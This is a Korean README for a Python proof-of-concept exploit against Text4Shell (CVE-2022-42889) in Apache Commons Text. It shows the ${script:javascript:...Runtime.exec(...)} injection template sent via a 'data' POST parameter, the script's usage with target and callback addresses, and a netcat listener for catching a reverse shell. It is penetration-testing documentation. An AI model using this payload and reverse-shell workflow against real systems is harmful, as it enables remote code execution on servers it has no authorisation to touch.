text4shell-exploit

Text4Shell(CVE-2022-42889)을 대상으로 하는 맞춤형 Python 기반 개념 증명(PoC) 익스플로잇으로, Apache Commons Text 버전 < 1.10의 심각한 원격 코드 실행 취약점입니다. 이 익스플로잇은 보간이 활성화된 StringSubstitutor 클래스를 사용하는 취약한 Java 애플리케이션을 대상으로 하며, ${script:...} 표현식을 주입하여 임의의 시스템 명령을 실행할 수 있습니다.

이 PoC에서는 data 쿼리 매개변수를 통해 악용을 시연하지만, 취약한 매개변수 이름은 구현에 따라 달라질 수 있습니다. 사용자는 대상 애플리케이션의 로직에 따라 페이로드와 요청 경로를 적절히 조정해야 합니다.

면책 조항: 이 익스플로잇은 교육 및 공인된 침투 테스트 목적으로만 제공됩니다. 책임을 가지고 사용하시기 바랍니다.

Description

이것은 Text4Shell(CVE-2022-42889)로 알려진 Apache Commons Text 취약점을 위한 맞춤형 Python3 익스플로잇입니다. 사용자 입력이 StringSubstitutor에 의해 동적으로 평가될 때 안전하지 않은 인터폴레이터를 통해 원격 코드 실행(RCE)이 가능합니다.

테스트된 환경:

• Apache Commons Text < 1.10.0
• 신뢰할 수 없는 입력에서 ${script:...} 보간을 사용하는 Java 애플리케이션

Usage

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

Example

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

공격 머신에서 리스너를 설정했는지 확인하세요:

nc -nlvp 4444

페이로드 로직

The script injects:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

리버스 쉘은 POST 요청을 사용하여 /data 매개변수를 통해 전송됩니다.